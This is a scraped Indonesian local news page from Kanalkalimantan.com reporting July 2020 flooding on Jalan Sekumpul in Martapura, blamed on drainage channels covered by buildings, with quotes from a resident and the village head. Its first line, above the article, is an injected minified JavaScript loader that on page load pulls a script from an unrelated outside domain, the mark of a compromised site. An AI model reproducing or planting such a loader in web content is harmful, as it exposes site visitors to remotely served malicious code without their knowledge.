(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Hujan Kembali Bikin Jalan Sekumpul Tergenang, Drainase Banyak Tertutup Bangunan


KANALKALIMANTAN.COM, MARTAPURA – Hujan deras yang mengguyur kawasan Martapura pada Rabu (15/7/2020) siang, selain merendam kawasan Guntung Alaban, juga ‘menenggelamkan’ sebagian jalan Sekumpul, Sungai Kacang, Kecamatan Martapura.

Dua kawasan di kota Martapura tersebut memang kerap kali menjadi langganan banjir setelah hujan.

Imam (26), warga Sekumpul kepada Kanalkalimantan.com, kalau di sepanjang jalan Sekumpul Sungai Kacang setiap hujan deras, apalagi intensitas hujan sampai satu jam, pasti sudah merendam badan jalan.

“Yang jelas sering lah, kalau hujan tidak henti-henti dan deras, sampai satu jam lebih, kadang rumah yang berada di pinggir jalan itu terendam air dan itu sudah sering terjadi,” ujar Imam.

 

“Biarpun cuma lewat banjirnya, tapi kada nyaman aja, kawasan Sekumpul seakan tidak luput dari genangan banjir tahunan,” ujar Imam.

Gusti Marhusin, Lurah Sekumpul kepada Kanalkalimantan.com via WhatsApp mengakui, memang kawasan jalan Sekumpul terutama di Sungai Kacang banyak saluran drainase yang sudah tertutup bangunan. Kondisi itu tentu saja membuat air yang akan masuk ke saluran drainase tidak lancar, sehingga meluber ke badan jalan. Kondisi drainase dengan debit air yang datang saat hujan tidak imbang.

Jalan Sekumpul, Sungai Kacang, terendam air setiap hujan deras, seperti pada Rabu (15/7/2020) siang. foto: wahyu

“Ya kalau kondisi eksisting seperti hari ini ya, paling babarasih got (drainase), itupun banyak dibantu tim drainase PU, kondisi got jalan sekumpul itu banyak ditutupi bangunan, antara debit air dengan kondisi got kada imbang, banyak yang pampan (tertutup),  kami dari kelurahan sudah minta juga peran warga untuk sementara ini, biasanya dari kawan-kawan BPK  ikut turun tangan juga. Tapi itu hanya penanganan sementara saja sifatnya, tidak maksimal,” ujar Gusti Marhusin.

Memang diakuinya, pada tahun 2019 lalu sebenarnya Pemkab Banjar sudah melakukan kajian DED (Detail Engeneering Design) penataan drainase kawasan Sekumpul.

“Ini oleh Kemen PU kajian itu mau diperluas menjadi penataan kawasan religi Sekumpul,” kata Gusti Marhusin.

“Alhamdulillah sudah direspon oleh Pemkab, Pemprov dan juga pemerintah pusat, termasuk para wakil rakyat dapil Kalsel yang sangat mendukung rencana itu,” pungkas Gusti Marhusin. (kanalkalimantan.com/wahyu)

Reporter : wahyu
Editor : bie

Al Ghifari

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

4 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

5 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

5 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

6 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

6 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

8 jam ago

This website uses cookies.